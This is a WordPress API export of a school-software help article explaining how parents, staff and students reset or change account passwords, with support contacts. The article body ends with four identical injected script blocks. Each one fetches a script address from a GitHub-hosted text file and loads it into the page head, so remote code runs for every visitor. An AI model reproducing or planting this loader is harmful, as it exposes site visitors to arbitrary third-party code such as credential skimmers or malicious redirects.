{"id":7784,"date":"2025-01-16T11:43:55","date_gmt":"2025-01-16T06:13:55","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=7784"},"modified":"2025-01-16T12:02:00","modified_gmt":"2025-01-16T06:32:00","slug":"how-can-i-reset-an-account-password","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-can-i-reset-an-account-password\/","title":{"rendered":"How can I reset an account password?(All Users)"},"content":{"rendered":"\n<p>You can use the following methods to access your account:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Password Reset for Parent and Staff<\/li>\n\n\n\n<li>Password Change for Student<\/li>\n\n\n\n<li>Whatsapp Chat Support<\/li>\n\n\n\n<li>Contact School Administrator<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">PASSWORD RESET FOR PARENTS AND STAFF<\/h3>\n\n\n\n<p><strong>Step 1<\/strong>: Go to the login page and select <strong>Parent or Staff<\/strong> as the account type.<br><strong>Note:<\/strong> Parents can login to their account and reset the <strong>student account<\/strong> password.<em>(Refer to the additional assistance section for more details)<\/em><\/p>\n\n\n\n<p><strong>Step 2<\/strong>: Click on <strong>Forgot Password<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"503\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Staff-Forgot-Password-1024x503.png\" alt=\"\" class=\"wp-image-10967\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Staff-Forgot-Password-1024x503.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Staff-Forgot-Password-300x147.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Staff-Forgot-Password-768x377.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Staff-Forgot-Password-1536x754.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Staff-Forgot-Password-1200x589.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Staff-Forgot-Password.png 1908w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 3<\/strong>: Enter the registered phone number or email ID associated with the account.<\/p>\n\n\n\n<p><strong>Step 4<\/strong>: Click <strong>Submit<\/strong> to receive an OTP.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"502\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-1024x502.png\" alt=\"\" class=\"wp-image-10946\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-1024x502.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-300x147.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-768x377.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-1536x754.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-1200x589.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile.png 1908w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 5<\/strong>: Enter the OTP you received and click <strong>Submit<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"763\" height=\"871\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-OTP.png\" alt=\"\" class=\"wp-image-10947\" style=\"aspect-ratio:16\/9;object-fit:cover\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-OTP.png 763w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-OTP-263x300.png 263w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px\" \/><\/figure>\n\n\n\n<p><strong>Step 6<\/strong>: On the next screen, enter a new password and click <strong>Confirm and Sign In<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"754\" height=\"864\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Forgot-Password-Enter-New-Password-Confirm-Password-Screen-.png\" alt=\"\" class=\"wp-image-10945\" style=\"aspect-ratio:16\/9;object-fit:cover\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Forgot-Password-Enter-New-Password-Confirm-Password-Screen-.png 754w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Forgot-Password-Enter-New-Password-Confirm-Password-Screen--262x300.png 262w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">PASSWORD CHANGE FOR STUDENT<\/h3>\n\n\n\n<p><strong>Step 1:<\/strong> Log in with your <strong>Parent account<\/strong>. Click the profile icon in the top-right corner and select <strong>Manage Accounts<\/strong> from the dropdown list.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"464\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Navigate-to-Profile-Icon-Manage-Accounts-1024x464.png\" alt=\"\" class=\"wp-image-10934\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Navigate-to-Profile-Icon-Manage-Accounts-1024x464.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Navigate-to-Profile-Icon-Manage-Accounts-300x136.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Navigate-to-Profile-Icon-Manage-Accounts-768x348.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Navigate-to-Profile-Icon-Manage-Accounts-1536x696.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Navigate-to-Profile-Icon-Manage-Accounts-1200x544.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Navigate-to-Profile-Icon-Manage-Accounts.png 1923w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 2:<\/strong> Navigate to the <strong>Student Account<\/strong> tab and select the child&#8217;s name whose password you wish to change.<\/p>\n\n\n\n<p><strong>Step 3:<\/strong> Scroll to the bottom of the student details and click on <strong>Change Password<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"467\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Manage-Accounts-Student-Name-Change-Password-1024x467.png\" alt=\"\" class=\"wp-image-10935\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Manage-Accounts-Student-Name-Change-Password-1024x467.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Manage-Accounts-Student-Name-Change-Password-300x137.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Manage-Accounts-Student-Name-Change-Password-768x350.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Manage-Accounts-Student-Name-Change-Password-1536x701.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Manage-Accounts-Student-Name-Change-Password-1200x548.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Manage-Accounts-Student-Name-Change-Password.png 1909w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 4:<\/strong> Enter your Parent account password for validation and click <strong>Proceed.<\/strong><\/p>\n\n\n\n<p><strong>Step 5:<\/strong> Enter a new password for the Student account. Ensure the password meets the following criteria:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>At least 8 characters in length.<\/li>\n\n\n\n<li>Includes one uppercase letter.<\/li>\n\n\n\n<li>Includes one lowercase letter.<\/li>\n\n\n\n<li>Includes at least one numeric digit.<\/li>\n\n\n\n<li>Includes at least one special character.<\/li>\n<\/ul>\n\n\n\n<p><strong>Step 6:<\/strong> Click <strong>Change Password<\/strong> to save your changes.<\/p>\n\n\n\n<p>Once password change is completed, You can use the same to login into your student account.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"441\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Prompt-Enter-New-Password-Student-1024x441.png\" alt=\"\" class=\"wp-image-10936\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Prompt-Enter-New-Password-Student-1024x441.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Prompt-Enter-New-Password-Student-300x129.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Prompt-Enter-New-Password-Student-768x331.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Prompt-Enter-New-Password-Student-1200x517.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Prompt-Enter-New-Password-Student.png 1323w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading has-medium-font-size\"><strong>WHATSAPP CHAT SUPPORT<\/strong><\/h3>\n\n\n\n<p>If the above steps do not work, please contact our WhatsApp support team at <strong>7337554528<\/strong> between <strong>8 AM and 6 PM (IST)<\/strong> for further assistance.<\/p>\n\n\n\n<p>Before contacting WhatsApp support, ensure you have the following details ready:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>School Name<\/strong><\/li>\n\n\n\n<li><strong>School Address<\/strong><\/li>\n\n\n\n<li><strong>Parent\/Staff Contact Number<\/strong> (must be registered in school records)<\/li>\n\n\n\n<li><strong>Student\/Parent\/Staff Name<\/strong><\/li>\n\n\n\n<li><strong>NextOS URL\/School Code<\/strong>(Optional)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-medium-font-size\">CONTACT SCHOOL ADMINISTRATOR<\/h3>\n\n\n\n<p>If you are unable to reset\/change the password OR unable to access your account using the steps mentioned above, please contact your school administrator for further assistance.<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-medium-font-size\"><strong>ADDTIONAL ASSISTANCE<\/strong><\/h2>\n\n\n\n<p><strong>Note:<\/strong> You can also refer to the following guidelines to know more about login process:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-should-i-do-if-i-forgot-the-password-for-a-staff-account\/\">What should I do if I forgot the password for a staff account?<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-should-i-do-if-i-forgot-the-password-for-a-parent-account\/\">What should I do if I forgot the password for a parent account?<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-should-i-do-if-i-forgot-the-password-for-a-student-account\/\">What should I do if I forgot the password for a student account?<\/a><\/li>\n<\/ol>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>You can use the following methods to access your account: PASSWORD RESET FOR PARENTS AND STAFF Step 1: Go to the login page and select Parent or Staff as the account type.Note: Parents can login to their account and reset the student account password.(Refer to the additional assistance section for more details) Step 2: Click &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-can-i-reset-an-account-password\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How can I reset an account password?(All Users)&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[835,709],"tags":[891],"post_folder":[],"class_list":["post-7784","post","type-post","status-publish","format-standard","hentry","category-nextos-knowledge-base","category-user-account-management","tag-password-change"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7784","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=7784"}],"version-history":[{"count":10,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7784\/revisions"}],"predecessor-version":[{"id":10968,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7784\/revisions\/10968"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=7784"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=7784"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=7784"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=7784"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}